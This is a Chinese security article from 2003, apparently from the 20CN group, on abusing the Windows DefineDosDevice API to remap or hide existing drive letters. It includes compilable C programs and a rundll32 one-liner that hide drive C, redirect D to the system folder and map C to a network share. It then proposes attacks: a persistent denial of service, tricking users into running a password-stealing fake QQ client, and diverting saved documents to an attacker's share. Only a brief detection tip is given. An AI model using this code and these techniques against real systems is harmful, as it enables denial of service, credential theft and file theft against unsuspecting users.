DefineDosDevice设备名欺骗漏洞(缺陷)

/ns/ld/win/data/20030810044700.htm

windows有一个叫"subst"的命令,这个命令可以将文件路径映射成驱动器,具体执行参数如下:

c:\>subst /?
将路径与驱动器号关联。

SUBST [drive1: [drive2:]path]
SUBST drive1: /D

drive1: 指定要指派路径的虚拟驱动器。
[drive2:]path 指定物理驱动器和要指派给虚拟驱动器的
路径。
/D 删除被替换的 (虚拟) 驱动器。

不加任何参数键入 SUBST,可以显示当前虚拟驱动器的清单。

这个程序是如何实现将文件路径映射成驱动器呢?先来研究一下。在system32目录下找到这个程序文件(测试环境是win 2000,下面所有的情况都是这对win 2000操作系统的),用W32Dasm将这个程序反汇编,得到输入函数列表,发现有一个KERNEL32.DLL中的函数DefineDosDeviceW(其实,用文本编辑软件打开,就可以看到所有的导入函数了),这个函数应该就是subst的关键了,在MSDN中找到了这个函数:

BOOL DefineDosDevice(
DWORD dwFlags, // 控制标志
LPCTSTR lpDeviceName, // MS-DOS 设备名
LPCTSTR lpTargetPath // 路径
);

实际操作后发现其中的路径参数并不是形如"c:\winnt"的格式,通过QueryDosDevice函数查询用subst命令建立的虚拟驱动器发现这个参数应为NT格式――"\??\c:\winnt"。关于win 9x/Me下未做测试。

使用"subst"命令时,你会发现这个命令是无法对一个已经存在的设备进行映射的,例如执行命令"subst c: d:\"(将路径"D:\"映射到"C:"):

c:\>subst c: d:\
无效参数 - C:

命令执行失败了,不过想来这也是理所当然的。可是直接调用DefineDosDevice函数却没有这个限制,这可是会引起很大的混乱。你完全可以用特殊的路径来代替一个已存在的驱动器来达到欺骗的目的,也可以"删除"(当然,并不是物理上的删除,但完全可以造成无法访问的假象)一个真实的驱动器。也许难以想象,当windows正在运行的时候,装有系统文件的C盘突然消失了……,不过这并不会造系统崩溃,因为windows以将所有要用的文件都加载到内存中了,但此时已经无法再打开桌面上的任何文件、快捷方式,无法弹出开始菜单中的任何子菜单……,真的是很奇妙的事情啊~~(不过要千万小心,我玩得太过火,使得outlook订的新闻组丢失,还好改注册表改回来了)。

以下代码在windows 2000 SP3 + VC 6.0下编译通过:

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"C:","")) // 删除C盘
MessageBox(GetForegroundWindow(),"error !","Error",MB_OK);
return 0;
}

===================================================

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
char device[1024];
QueryDosDevice("Z:",device,1024); // (驱动器Z是用"subst"虚拟的)来查询映射的路径
MessageBox(GetForegroundWindow(),device,"device name",MB_OK);
return 0;
}

===================================================

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
// 将驱动器D映射成路径"c:\winnt",无论该驱动器是否已经存在
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"D:","\\??\\C:\\winnt"))
MessageBox(NULL,"error !","error",MB_OK);
return 0;
}

既然已经知道DefineDosDevice这个函数是在kernel32.dll中的,那么还可以用rundll32.exe来运行这个函数:

rundll32.exe kernel32.dll,DefineDosDeviceA 1,S:,\??\C:\Winnt


更糟糕的是这个函数还可以把网络路径映射成一个驱动器。如执行命令"subst z: \\192.168.0.1\test"。不过这个映射的驱动器会在"我的电脑"里会显示出特殊的卷标,以及网络驱动器的图标。当然,还可以通过编程来实现替换一个已经存在的驱动器,代码如下:

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
// 将驱动器C映射成UNC路径
char errortext[20];
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,"C:","\\\\192.168.0.1\\test"))
{
wsprintf(errortext,"Mapping driver failed: %d",GetLastError());
MessageBox(NULL,errortext,"error",MB_OK);
}
return 0;
}

由于这个漏洞的特殊性,其利用方式也是仁者见仁、智者见智的,全凭你的想象力了。我的想象力并不丰富,所以能想到的利用方法也只有以下几个:(感兴趣的朋友可以和我探讨一下,Email:tabris17@citiz.net,QQ:65485803)

1. 使windows拒绝服务:将对方的系统目录所在的驱动器"删除"。现象如上所说,只有重启了事,如果将命令加入启动组,对方可能就会郁闷致死。

2. 欺骗运行恶意程序:假设对方的QQ装在"D:\Program Files\Tencent"目录下,将对方"D:"映射到你精心设置的目录,目录下有"Program Files\Tencent"文件夹,若对方运行了桌面上的QQ快捷方式,便运行了你设置的路径下的QQ.exe,如果这是一个伪装QQ界面的偷密码的恶意程序的话,对方便会在不知情的情况下输入密码,你就可以偷到密码了(好像十分麻烦,不过只是一个思路)。

3. 欺骗获得对方文件:假设对方的Word软件正在编辑一个文档,你可以将保存文档的驱动器映射到你精心设置的共享目录下,然后当对方按下"保存"后,便会将文件保存到你的共享目录下。

解决方法:

你可以通过执行命令"subst"来显示所有的映射驱动器来预防欺骗。

===============================================
本文版权属20CN网络安全小组及其作者所有,如有转载,请保持文章完整性并注明出处
文章类型:原创 提交:四不象 核查:NetDemon